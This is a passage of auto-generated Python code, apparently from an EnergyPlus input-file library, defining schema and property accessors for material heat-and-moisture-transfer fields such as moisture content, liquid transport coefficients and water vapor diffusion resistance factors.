`Liquid Transport Coefficient 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_21` or None if not set """ return self["Liquid Transport Coefficient 21"] @liquid_transport_coefficient_21.setter def liquid_transport_coefficient_21(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 21`""" self["Liquid Transport Coefficient 21"] = value @property def moisture_content_22(self): """field `Moisture Content 22` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_22` or None if not set """ return self["Moisture Content 22"] @moisture_content_22.setter def moisture_content_22(self, value=None): """Corresponds to IDD field `Moisture Content 22`""" self["Moisture Content 22"] = value @property def liquid_transport_coefficient_22(self): """field `Liquid Transport Coefficient 22` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_22` or None if not set """ return self["Liquid Transport Coefficient 22"] @liquid_transport_coefficient_22.setter def liquid_transport_coefficient_22(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 22`""" self["Liquid Transport Coefficient 22"] = value @property def moisture_content_23(self): """field `Moisture Content 23` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_23` or None if not set """ return self["Moisture Content 23"] @moisture_content_23.setter def moisture_content_23(self, value=None): """Corresponds to IDD field `Moisture Content 23`""" self["Moisture Content 23"] = value @property def liquid_transport_coefficient_23(self): """field `Liquid Transport Coefficient 23` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_23` or None if not set """ return self["Liquid Transport Coefficient 23"] @liquid_transport_coefficient_23.setter def liquid_transport_coefficient_23(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 23`""" self["Liquid Transport Coefficient 23"] = value @property def moisture_content_24(self): """field `Moisture Content 24` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_24` or None if not set """ return self["Moisture Content 24"] @moisture_content_24.setter def moisture_content_24(self, value=None): """Corresponds to IDD field `Moisture Content 24`""" self["Moisture Content 24"] = value @property def liquid_transport_coefficient_24(self): """field `Liquid Transport Coefficient 24` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_24` or None if not set """ return self["Liquid Transport Coefficient 24"] @liquid_transport_coefficient_24.setter def liquid_transport_coefficient_24(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 24`""" self["Liquid Transport Coefficient 24"] = value @property def moisture_content_25(self): """field `Moisture Content 25` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_25` or None if not set """ return self["Moisture Content 25"] @moisture_content_25.setter def moisture_content_25(self, value=None): """Corresponds to IDD field `Moisture Content 25`""" self["Moisture Content 25"] = value @property def liquid_transport_coefficient_25(self): """field `Liquid Transport Coefficient 25` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_25` or None if not set """ return self["Liquid Transport Coefficient 25"] @liquid_transport_coefficient_25.setter def liquid_transport_coefficient_25(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 25`""" self["Liquid Transport Coefficient 25"] = value class MaterialPropertyHeatAndMoistureTransferDiffusion(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:Diffusion` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Relationship between water vapor diffusion and relative humidity fraction Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of data pairs', {'name': u'Number of Data Pairs', 'pyname': u'number_of_data_pairs', 'maximum': 25, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'relative humidity fraction 1', {'name': u'Relative Humidity Fraction 1', 'pyname': u'relative_humidity_fraction_1', 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 1', {'name': u'Water Vapor Diffusion Resistance Factor 1', 'pyname': u'water_vapor_diffusion_resistance_factor_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 2', {'name': u'Relative Humidity Fraction 2', 'pyname': u'relative_humidity_fraction_2', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 2', {'name': u'Water Vapor Diffusion Resistance Factor 2', 'pyname': u'water_vapor_diffusion_resistance_factor_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 3', {'name': u'Relative Humidity Fraction 3', 'pyname': u'relative_humidity_fraction_3', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 3', {'name': u'Water Vapor Diffusion Resistance Factor 3', 'pyname': u'water_vapor_diffusion_resistance_factor_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 4', {'name': u'Relative Humidity Fraction 4', 'pyname': u'relative_humidity_fraction_4', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 4', {'name': u'Water Vapor Diffusion Resistance Factor 4', 'pyname': u'water_vapor_diffusion_resistance_factor_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 5', {'name': u'Relative Humidity Fraction 5', 'pyname': u'relative_humidity_fraction_5', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 5', {'name': u'Water Vapor Diffusion Resistance Factor 5', 'pyname': u'water_vapor_diffusion_resistance_factor_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 6', {'name': u'Relative Humidity Fraction 6', 'pyname': u'relative_humidity_fraction_6', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 6', {'name': u'Water Vapor Diffusion Resistance Factor 6', 'pyname': u'water_vapor_diffusion_resistance_factor_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 7', {'name': u'Relative Humidity Fraction 7', 'pyname': u'relative_humidity_fraction_7', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 7', {'name': u'Water Vapor Diffusion Resistance Factor 7', 'pyname': u'water_vapor_diffusion_resistance_factor_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 8', {'name': u'Relative Humidity Fraction 8', 'pyname': u'relative_humidity_fraction_8', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 8', {'name': u'Water Vapor Diffusion Resistance Factor 8', 'pyname': u'water_vapor_diffusion_resistance_factor_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 9', {'name': u'Relative Humidity Fraction 9', 'pyname': u'relative_humidity_fraction_9', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 9', {'name': u'Water Vapor Diffusion Resistance Factor 9', 'pyname': u'water_vapor_diffusion_resistance_factor_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 10', {'name': u'Relative Humidity Fraction 10', 'pyname': u'relative_humidity_fraction_10', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 10', {'name': u'Water Vapor Diffusion Resistance Factor 10', 'pyname': u'water_vapor_diffusion_resistance_factor_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 11', {'name': u'Relative Humidity Fraction 11', 'pyname': u'relative_humidity_fraction_11', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 11', {'name': u'Water Vapor Diffusion Resistance Factor 11', 'pyname': u'water_vapor_diffusion_resistance_factor_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 12', {'name': u'Relative Humidity Fraction 12', 'pyname': u'relative_humidity_fraction_12', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 12', {'name': u'Water Vapor Diffusion Resistance Factor 12', 'pyname': u'water_vapor_diffusion_resistance_factor_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 13', {'name': u'Relative Humidity Fraction 13', 'pyname': u'relative_humidity_fraction_13', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 13', {'name': u'Water Vapor Diffusion Resistance Factor 13', 'pyname': u'water_vapor_diffusion_resistance_factor_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 14', {'name': u'Relative Humidity Fraction 14', 'pyname': u'relative_humidity_fraction_14', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 14', {'name': u'Water Vapor Diffusion Resistance Factor 14', 'pyname': u'water_vapor_diffusion_resistance_factor_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 15', {'name': u'Relative Humidity Fraction 15', 'pyname': u'relative_humidity_fraction_15', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 15', {'name': u'Water Vapor Diffusion Resistance Factor 15', 'pyname': u'water_vapor_diffusion_resistance_factor_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 16', {'name': u'Relative Humidity Fraction 16', 'pyname': u'relative_humidity_fraction_16', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 16', {'name': u'Water Vapor Diffusion Resistance Factor 16', 'pyname': u'water_vapor_diffusion_resistance_factor_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 17', {'name': u'Relative Humidity Fraction 17', 'pyname': u'relative_humidity_fraction_17', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 17', {'name': u'Water Vapor Diffusion Resistance Factor 17', 'pyname': u'water_vapor_diffusion_resistance_factor_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 18', {'name': u'Relative Humidity Fraction 18', 'pyname': u'relative_humidity_fraction_18', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 18', {'name': u'Water Vapor Diffusion Resistance Factor 18', 'pyname': u'water_vapor_diffusion_resistance_factor_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 19', {'name': u'Relative Humidity Fraction 19', 'pyname': u'relative_humidity_fraction_19', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 19', {'name': u'Water Vapor Diffusion Resistance Factor 19', 'pyname': u'water_vapor_diffusion_resistance_factor_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 20', {'name': u'Relative Humidity Fraction 20', 'pyname': u'relative_humidity_fraction_20', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 20', {'name': u'Water Vapor Diffusion Resistance Factor 20', 'pyname': u'water_vapor_diffusion_resistance_factor_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 21', {'name': u'Relative Humidity Fraction 21', 'pyname': u'relative_humidity_fraction_21', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 21', {'name': u'Water Vapor Diffusion Resistance Factor 21', 'pyname': u'water_vapor_diffusion_resistance_factor_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 22', {'name': u'Relative Humidity Fraction 22', 'pyname': u'relative_humidity_fraction_22', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 22', {'name': u'Water Vapor Diffusion Resistance Factor 22', 'pyname': u'water_vapor_diffusion_resistance_factor_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 23', {'name': u'Relative Humidity Fraction 23', 'pyname': u'relative_humidity_fraction_23', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 23', {'name': u'Water Vapor Diffusion Resistance Factor 23', 'pyname': u'water_vapor_diffusion_resistance_factor_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 24', {'name': u'Relative Humidity Fraction 24', 'pyname': u'relative_humidity_fraction_24', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 24', {'name': u'Water Vapor Diffusion Resistance Factor 24', 'pyname': u'water_vapor_diffusion_resistance_factor_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'relative humidity fraction 25', {'name': u'Relative Humidity Fraction 25', 'pyname': u'relative_humidity_fraction_25', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'water vapor diffusion resistance factor 25', {'name': u'Water Vapor Diffusion Resistance Factor 25', 'pyname': u'water_vapor_diffusion_resistance_factor_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:Diffusion', 'pyname': u'MaterialPropertyHeatAndMoistureTransferDiffusion', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | Moisture Material Name that the moisture properties will be added to. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def number_of_data_pairs(self): """field `Number of Data Pairs` | Water Vapor Diffusion Resistance Factor | value >= 1 | value <= 25 Args: value (int): value for IDD Field `Number of Data Pairs` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_data_pairs` or None if not set """ return self["Number of Data Pairs"] @number_of_data_pairs.setter def number_of_data_pairs(self, value=None): """Corresponds to IDD field `Number of Data Pairs`""" self["Number of Data Pairs"] = value @property def relative_humidity_fraction_1(self): """field `Relative Humidity Fraction 1` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_1` or None if not set """ return self["Relative Humidity Fraction 1"] @relative_humidity_fraction_1.setter def relative_humidity_fraction_1(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 1`""" self["Relative Humidity Fraction 1"] = value @property def water_vapor_diffusion_resistance_factor_1(self): """field `Water Vapor Diffusion Resistance Factor 1` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_1` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 1"] @water_vapor_diffusion_resistance_factor_1.setter def water_vapor_diffusion_resistance_factor_1(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 1`""" self["Water Vapor Diffusion Resistance Factor 1"] = value @property def relative_humidity_fraction_2(self): """field `Relative Humidity Fraction 2` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_2` or None if not set """ return self["Relative Humidity Fraction 2"] @relative_humidity_fraction_2.setter def relative_humidity_fraction_2(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 2`""" self["Relative Humidity Fraction 2"] = value @property def water_vapor_diffusion_resistance_factor_2(self): """field `Water Vapor Diffusion Resistance Factor 2` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_2` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 2"] @water_vapor_diffusion_resistance_factor_2.setter def water_vapor_diffusion_resistance_factor_2(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 2`""" self["Water Vapor Diffusion Resistance Factor 2"] = value @property def relative_humidity_fraction_3(self): """field `Relative Humidity Fraction 3` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_3` or None if not set """ return self["Relative Humidity Fraction 3"] @relative_humidity_fraction_3.setter def relative_humidity_fraction_3(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 3`""" self["Relative Humidity Fraction 3"] = value @property def water_vapor_diffusion_resistance_factor_3(self): """field `Water Vapor Diffusion Resistance Factor 3` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_3` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 3"] @water_vapor_diffusion_resistance_factor_3.setter def water_vapor_diffusion_resistance_factor_3(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 3`""" self["Water Vapor Diffusion Resistance Factor 3"] = value @property def relative_humidity_fraction_4(self): """field `Relative Humidity Fraction 4` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_4` or None if not set """ return self["Relative Humidity Fraction 4"] @relative_humidity_fraction_4.setter def relative_humidity_fraction_4(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 4`""" self["Relative Humidity Fraction 4"] = value @property def water_vapor_diffusion_resistance_factor_4(self): """field `Water Vapor Diffusion Resistance Factor 4` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_4` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 4"] @water_vapor_diffusion_resistance_factor_4.setter def water_vapor_diffusion_resistance_factor_4(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 4`""" self["Water Vapor Diffusion Resistance Factor 4"] = value @property def relative_humidity_fraction_5(self): """field `Relative Humidity Fraction 5` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_5` or None if not set """ return self["Relative Humidity Fraction 5"] @relative_humidity_fraction_5.setter def relative_humidity_fraction_5(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 5`""" self["Relative Humidity Fraction 5"] = value @property def water_vapor_diffusion_resistance_factor_5(self): """field `Water Vapor Diffusion Resistance Factor 5` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_5` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 5"] @water_vapor_diffusion_resistance_factor_5.setter def water_vapor_diffusion_resistance_factor_5(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 5`""" self["Water Vapor Diffusion Resistance Factor 5"] = value @property def relative_humidity_fraction_6(self): """field `Relative Humidity Fraction 6` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_6` or None if not set """ return self["Relative Humidity Fraction 6"] @relative_humidity_fraction_6.setter def relative_humidity_fraction_6(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 6`""" self["Relative Humidity Fraction 6"] = value @property def water_vapor_diffusion_resistance_factor_6(self): """field `Water Vapor Diffusion Resistance Factor 6` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_6` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 6"] @water_vapor_diffusion_resistance_factor_6.setter def water_vapor_diffusion_resistance_factor_6(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 6`""" self["Water Vapor Diffusion Resistance Factor 6"] = value @property def relative_humidity_fraction_7(self): """field `Relative Humidity Fraction 7` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_7` or None if not set """ return self["Relative Humidity Fraction 7"] @relative_humidity_fraction_7.setter def relative_humidity_fraction_7(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 7`""" self["Relative Humidity Fraction 7"] = value @property def water_vapor_diffusion_resistance_factor_7(self): """field `Water Vapor Diffusion Resistance Factor 7` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_7` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 7"] @water_vapor_diffusion_resistance_factor_7.setter def water_vapor_diffusion_resistance_factor_7(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 7`""" self["Water Vapor Diffusion Resistance Factor 7"] = value @property def relative_humidity_fraction_8(self): """field `Relative Humidity Fraction 8` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_8` or None if not set """ return self["Relative Humidity Fraction 8"] @relative_humidity_fraction_8.setter def relative_humidity_fraction_8(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 8`""" self["Relative Humidity Fraction 8"] = value @property def water_vapor_diffusion_resistance_factor_8(self): """field `Water Vapor Diffusion Resistance Factor 8` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_8` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 8"] @water_vapor_diffusion_resistance_factor_8.setter def water_vapor_diffusion_resistance_factor_8(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 8`""" self["Water Vapor Diffusion Resistance Factor 8"] = value @property def relative_humidity_fraction_9(self): """field `Relative Humidity Fraction 9` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_9` or None if not set """ return self["Relative Humidity Fraction 9"] @relative_humidity_fraction_9.setter def relative_humidity_fraction_9(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 9`""" self["Relative Humidity Fraction 9"] = value @property def water_vapor_diffusion_resistance_factor_9(self): """field `Water Vapor Diffusion Resistance Factor 9` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_9` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 9"] @water_vapor_diffusion_resistance_factor_9.setter def water_vapor_diffusion_resistance_factor_9(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 9`""" self["Water Vapor Diffusion Resistance Factor 9"] = value @property def relative_humidity_fraction_10(self): """field `Relative Humidity Fraction 10` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_10` or None if not set """ return self["Relative Humidity Fraction 10"] @relative_humidity_fraction_10.setter def relative_humidity_fraction_10(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 10`""" self["Relative Humidity Fraction 10"] = value @property def water_vapor_diffusion_resistance_factor_10(self): """field `Water Vapor Diffusion Resistance Factor 10` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_10` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 10"] @water_vapor_diffusion_resistance_factor_10.setter def water_vapor_diffusion_resistance_factor_10(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 10`""" self["Water Vapor Diffusion Resistance Factor 10"] = value @property def relative_humidity_fraction_11(self): """field `Relative Humidity Fraction 11` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_11` or None if not set """ return self["Relative Humidity Fraction 11"] @relative_humidity_fraction_11.setter def relative_humidity_fraction_11(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 11`""" self["Relative Humidity Fraction 11"] = value @property def water_vapor_diffusion_resistance_factor_11(self): """field `Water Vapor Diffusion Resistance Factor 11` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_11` or None 